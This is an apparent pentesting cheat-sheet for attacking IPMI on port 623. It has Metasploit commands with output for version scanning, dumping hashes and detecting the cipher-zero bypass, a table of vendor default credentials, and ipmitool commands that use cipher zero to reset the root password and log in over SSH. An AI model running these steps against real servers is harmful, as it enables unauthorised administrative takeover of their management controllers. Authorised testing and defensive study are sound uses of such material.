623 - IPMI

Intelligent Platform Management Interface (IPMI) is a set of computer interface specifications for an autonomous computer subsystem that provides management and monitoring capabilities independently.

Metasploit

Find version

msf > use auxiliary/scanner/ipmi/ipmi_version
msf auxiliary(ipmi_version) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_version) > run
[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)
[+] 10.0.0.22:623 - IPMI - IPMI-2.0 UserAuth(auth_user,non_null_user) PassAuth(md5,md2)Level(1.5,2.0)

Dump hashes

use auxiliary/scanner/ipmi/ipmi_dumphashes 
set rhosts [TARGETS] 
run 

Common default credentials

Product Name	Default Username	Default Password
HP Integrated Lights Out (iLO)	Administrator	<factory randomized 8-character string>
Dell Remote Access Card (iDRAC, DRAC)	root	calvin
IBM Integrated Management Module (IMM)	USERID	PASSW0RD (with a zero)
Fujitsu Integrated Remote Management Controller	admin	admin
Supermicro IPMI (2.0)	ADMIN	ADMIN
Oracle/Sun Integrated Lights Out Manager (ILOM)	root	changeme
ASUS iKVM BMC	admin	admin

Resources: https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/

Zero cipher authentication bypass

Zero cipher authentication bypass resulting in administrative access

Check if vulnerable

msf > use auxiliary/scanner/ipmi/ipmi_cipher_zero
msf auxiliary(ipmi_cipher_zero) > set RHOSTS 10.0.0.22
msf auxiliary(ipmi_cipher_zero) > run
[*] Sending IPMI requests to 10.0.0.22->10.0.0.22 (1 hosts)
[+] 10.0.0.22:623 - IPMI - VULNERABLE: Accepted a session open request

Connect

The Linux ipmitool client is used to interact with the service and bypass authentication (via the -C 0 option).

We will set the root user account password to abc123 via IPMI.

root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
root@kali:~# ssh root@10.0.0.22
root@10.121.1.22's password: abc123
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/admin1-> version
SM CLP Version: 1.0.2
SM ME Addressing Version: 1.0.0b